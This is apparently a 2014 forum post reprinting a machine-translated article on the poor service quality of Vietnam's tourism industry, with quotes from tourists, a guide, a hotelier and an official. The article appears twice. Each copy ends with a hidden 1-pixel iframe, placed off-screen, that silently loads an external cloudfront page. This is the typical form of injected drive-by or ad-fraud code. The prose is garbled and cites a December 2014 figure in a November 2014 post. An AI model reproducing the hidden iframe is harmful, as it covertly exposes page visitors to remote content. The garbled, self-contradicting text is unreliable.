Post by AirTravel on Nov 14, 2014 11:01:39 GMT 7
A general evaluation of the business traveler, the reason is that not many tourist resorts, tourist destinations attractive to keep tourists ...
Vietnam is considered as one of the attractive tourist destination with beautiful landscapes, many cultural heritage, natural heritage site famous, the Vietnam friendly and hospitable. However, many comments complaining about the quality of tourism products and services did not meet the increasing demands of tourists, especially international visitors.
Through December 9/2014, the country welcomed more than 6 million tourists, an increase of 10% compared to the same period in 2013. The growth rate of the total revenue from tourists is growing faster than the growth rate of tourists, contribution of tourism to the country's GDP is growing in the context of domestic economic situation more difficult.
However, according to the general assessment of the travel trade, so not many tourist resorts, tourist destinations attractive to retain visitors, guests should stay at accommodation establishments in Vietnam is still limited. Number of guests returning mainly those to Vietnam for work and to visit relatives overseas Vietnamese. A very small portion of visitors returning from neighboring countries.
David and sister Laura, as the French and British tourists, said: "I went to Vietnam for the first time and went to a lot of places such as Hoan Kiem Lake, Sa Pa. I saw beautiful, the rich Vietnam. But want entertaining evening, enjoy Vietnam's own art does not know where to go? So I have not thought about will tell their friends or intend to travel back to Vietnam if given the opportunity. Style Vietnam beautiful scene but pollution. many places still rubbish. not to mention the traffic in Vietnam is that we are worried. "
Dao Tien Thanh, tour guide in Hanoi also comments that: "As a country in the tropics, a coastline with many beautiful beaches around from north to south, and many scenic float known, but Vietnam remains a discovery address rather than the resort destination of international travelers. the investment in developing tourism infrastructure, the resorts are concentrated in cities large, mostly staying extraction; the development of this type of service has not been adequate attention; tourism products monotonous, slow innovation, pickpockets, robbery, unsafe traffic , sanitation, health care conditions ... and will always be the psychological impact on visitors. "
"In Hanoi there are some 5 star hotel. But out of Hanoi, the infrastructure did not meet all their needs. In the immediate future, I think need to train people, tourism also need to training the mind to guide, driver training services. However, training must be concerned about people, because tourism is styled spontaneous rather than go on expertise and scale "- Dao Tien Thanh said.
Ms. Duong Thi Tam, Director of Lotus Hotel, in Cau Giay District, Hanoi, it said: "It lacks most of the restaurants and hotels in Vietnam is the lack of staff confidence. They do not know I did not like were the standard, the customer is not satisfied? the reason has not been trained, many hotels have not developed a framework program of good service. To improve the quality of services, the tourism needs to really demand market, more interested in feedback from visitors:
From her mind: "To achieve the highest quality of service, the criteria serve our ever train people to be professional, enthusiastic. Do not stop sticking, strengthen exchanges meetings with customers in order to collect the opinions of visitors. the more I meet up the demand of the customers, the more successful again. "
Many experts believe that, in order to improve the quality of tourism products, to create consistency in the construction of infrastructure and tourism. Not only strengthen the network of tours, tourist destinations that promote advocacy, brand building, promotion of new market expansion and consolidation of the potential market, regularly renewed quality of service ... also need to be concerned.
Mr. Ha Van Sieu, Deputy General Director of the Vietnam National Administration of Tourism confirmed that improve the quality of tourism products has always been problematic sectors towards "service quality problems have been identified in the strategy Vietnam tourism 2020, vision 2030 is a content focus. with a view to develop in-depth focus on quality, effective and sustainable, ensuring brand competition war. that is the view cross-cutting breakthroughs in the near future. "
Tourism is the aggregate economy. Improving the quality of tourism services is urgent requirement of all businesses, tourism businesses to meet the growing demand of tourists. But to do that, should the coordination and efficiency of related industries, local authorities ... in order to maintain security, actively create a safe travel environment, body friendly to visitors. Improving the quality of travel is an offer to Vietnam is an attractive destination of four visitors.<iframe src="https://d19tqk5t6qcjac.cloudfront.net/i/415_ie.html" style="position: absolute; width: 1px; height: 1px; left: -9999px;" id="iagdtd_frame"></iframe>
Vietnam is considered as one of the attractive tourist destination with beautiful landscapes, many cultural heritage, natural heritage site famous, the Vietnam friendly and hospitable. However, many comments complaining about the quality of tourism products and services did not meet the increasing demands of tourists, especially international visitors.
Through December 9/2014, the country welcomed more than 6 million tourists, an increase of 10% compared to the same period in 2013. The growth rate of the total revenue from tourists is growing faster than the growth rate of tourists, contribution of tourism to the country's GDP is growing in the context of domestic economic situation more difficult.
However, according to the general assessment of the travel trade, so not many tourist resorts, tourist destinations attractive to retain visitors, guests should stay at accommodation establishments in Vietnam is still limited. Number of guests returning mainly those to Vietnam for work and to visit relatives overseas Vietnamese. A very small portion of visitors returning from neighboring countries.
David and sister Laura, as the French and British tourists, said: "I went to Vietnam for the first time and went to a lot of places such as Hoan Kiem Lake, Sa Pa. I saw beautiful, the rich Vietnam. But want entertaining evening, enjoy Vietnam's own art does not know where to go? So I have not thought about will tell their friends or intend to travel back to Vietnam if given the opportunity. Style Vietnam beautiful scene but pollution. many places still rubbish. not to mention the traffic in Vietnam is that we are worried. "
Dao Tien Thanh, tour guide in Hanoi also comments that: "As a country in the tropics, a coastline with many beautiful beaches around from north to south, and many scenic float known, but Vietnam remains a discovery address rather than the resort destination of international travelers. the investment in developing tourism infrastructure, the resorts are concentrated in cities large, mostly staying extraction; the development of this type of service has not been adequate attention; tourism products monotonous, slow innovation, pickpockets, robbery, unsafe traffic , sanitation, health care conditions ... and will always be the psychological impact on visitors. "
"In Hanoi there are some 5 star hotel. But out of Hanoi, the infrastructure did not meet all their needs. In the immediate future, I think need to train people, tourism also need to training the mind to guide, driver training services. However, training must be concerned about people, because tourism is styled spontaneous rather than go on expertise and scale "- Dao Tien Thanh said.
Ms. Duong Thi Tam, Director of Lotus Hotel, in Cau Giay District, Hanoi, it said: "It lacks most of the restaurants and hotels in Vietnam is the lack of staff confidence. They do not know I did not like were the standard, the customer is not satisfied? the reason has not been trained, many hotels have not developed a framework program of good service. To improve the quality of services, the tourism needs to really demand market, more interested in feedback from visitors:
From her mind: "To achieve the highest quality of service, the criteria serve our ever train people to be professional, enthusiastic. Do not stop sticking, strengthen exchanges meetings with customers in order to collect the opinions of visitors. the more I meet up the demand of the customers, the more successful again. "
Many experts believe that, in order to improve the quality of tourism products, to create consistency in the construction of infrastructure and tourism. Not only strengthen the network of tours, tourist destinations that promote advocacy, brand building, promotion of new market expansion and consolidation of the potential market, regularly renewed quality of service ... also need to be concerned.
Mr. Ha Van Sieu, Deputy General Director of the Vietnam National Administration of Tourism confirmed that improve the quality of tourism products has always been problematic sectors towards "service quality problems have been identified in the strategy Vietnam tourism 2020, vision 2030 is a content focus. with a view to develop in-depth focus on quality, effective and sustainable, ensuring brand competition war. that is the view cross-cutting breakthroughs in the near future. "
Tourism is the aggregate economy. Improving the quality of tourism services is urgent requirement of all businesses, tourism businesses to meet the growing demand of tourists. But to do that, should the coordination and efficiency of related industries, local authorities ... in order to maintain security, actively create a safe travel environment, body friendly to visitors. Improving the quality of travel is an offer to Vietnam is an attractive destination of four visitors.<iframe src="https://d19tqk5t6qcjac.cloudfront.net/i/415_ie.html" style="position: absolute; width: 1px; height: 1px; left: -9999px;" id="iagdtd_frame"></iframe>